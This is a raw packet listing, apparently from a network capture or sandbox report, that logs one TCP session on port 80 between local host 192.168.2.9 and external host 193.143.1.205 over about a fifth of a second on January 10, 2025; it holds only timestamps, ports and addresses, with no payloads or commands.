Jan 10, 2025 16:18:09.302802086 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.302818060 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.302819967 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.302834034 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.302850008 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.302906990 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.303376913 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.303410053 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.303425074 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.303446054 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.303529024 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.303544998 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.303560972 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.303575039 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.303602934 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.303667068 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.303680897 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.303692102 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.303714991 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.303752899 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.303752899 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.303786039 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.304348946 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.304379940 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.304394960 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.304405928 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.304528952 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.305875063 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.311157942 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.327085972 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.327121973 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.327140093 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.327156067 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.327194929 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.327194929 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.357877016 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.357916117 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.357930899 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.357950926 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.357965946 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.358032942 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.358032942 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.358064890 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.358078957 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.358092070 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.358103991 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.358118057 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.358133078 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.358133078 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.358200073 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.388860941 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.388881922 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.388894081 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.388967037 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.388978958 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.388989925 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.388993025 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.389025927 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.389030933 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.389050007 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.389060974 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.389087915 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.389087915 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.389089108 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.389136076 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.389168978 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.389179945 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.389204025 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.389218092 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.389250994 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.389264107 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.389302015 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.389336109 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.389348030 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.389378071 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.419914961 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.419925928 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.419965982 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.419990063 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420010090 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420021057 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420037985 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.420080900 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.420089006 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420154095 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420164108 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420216084 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.420254946 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420268059 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420278072 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420289993 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420316935 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.420362949 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420376062 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420396090 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.420413017 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.420490980 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420510054 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420521021 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420542002 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.420587063 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.420615911 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420628071 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420639038 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420674086 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420680046 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.420746088 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.420850992 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420862913 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420870066 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420917034 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.420934916 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420947075 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420958042 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.420998096 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.421029091 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421041965 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421056986 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.421098948 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.421124935 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421139002 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421149969 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421160936 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421173096 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421185017 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421205044 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.421205044 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.421276093 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.421561956 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421574116 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421585083 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421679974 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421690941 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421700954 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421700954 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.421714067 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421722889 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.421747923 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.421778917 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421791077 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421802044 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421813965 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421824932 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421852112 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.421868086 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.421931982 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421951056 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421962976 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.421974897 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422044039 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.422044039 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.422259092 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422278881 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422291040 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422327995 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.422374010 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422386885 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422398090 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422441959 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.422441959 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.422454119 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422561884 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422574043 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422586918 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422597885 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422610044 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422635078 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.422636032 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.422656059 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.422713995 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422727108 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422738075 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422749996 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422760963 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422771931 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422781944 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.422790051 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.422790051 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.422837019 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.423321962 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.423336983 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.423356056 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.423367977 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.423382998 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.423394918 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.423398972 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.423398972 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.423408985 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.423435926 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.423489094 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.423511982 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.423525095 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.423536062 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.423548937 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.423561096 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.423573971 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.423593998 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.423593998 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.423634052 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.427587986 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.447670937 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.447690010 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.447700977 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.447737932 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.447784901 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.447797060 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.447822094 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.447865963 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.447865963 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.447885990 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.447897911 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.447951078 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.447958946 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.447963953 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.447992086 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.448045969 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.448054075 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.448107004 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.448117971 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.448120117 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.448132992 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.448168993 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.448193073 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.448240995 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.449595928 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.478708029 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.478722095 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.478734016 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.478751898 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.478763103 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.478774071 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.478787899 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.478787899 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.478831053 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.478888988 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.478929043 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.478929043 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.478945971 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.478977919 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.478990078 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.479084969 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.479095936 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.479103088 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.479116917 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.479152918 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.479152918 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.479154110 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.479166031 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.479221106 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.479232073 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.479253054 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.479289055 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.479377985 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.479388952 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.479401112 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.479480028 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.479485035 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.479497910 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.479510069 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.479532957 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.479583025 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.510087967 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510102034 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510113955 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510128975 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510145903 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.510159016 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510169983 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510181904 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510195017 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510196924 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.510207891 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510241032 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.510265112 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.510320902 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510360003 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.510380983 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510392904 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510437965 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510448933 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510467052 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.510513067 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.510601044 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510632038 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510644913 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510673046 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.510826111 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510904074 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.510905981 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.510991096 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511132956 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511152029 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511164904 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511168003 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.511188984 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511199951 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511226892 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.511226892 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.511265993 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511279106 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511327982 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511337996 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511358976 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.511372089 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.511373043 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511385918 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511426926 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511440039 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.511471987 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.511472940 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511487961 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511512995 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511544943 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.511586905 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511599064 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511617899 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511636019 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.511677027 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.511704922 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511730909 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.511732101 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511740923 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511811972 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511823893 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511836052 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511852980 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.511852980 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.511885881 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511898994 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511909962 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511924028 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.511934996 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.511934996 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.511982918 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.512049913 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.512063026 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.512073994 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.512087107 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.512100935 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.512130976 CET	49787	80	192.168.2.9	193.143.1.205
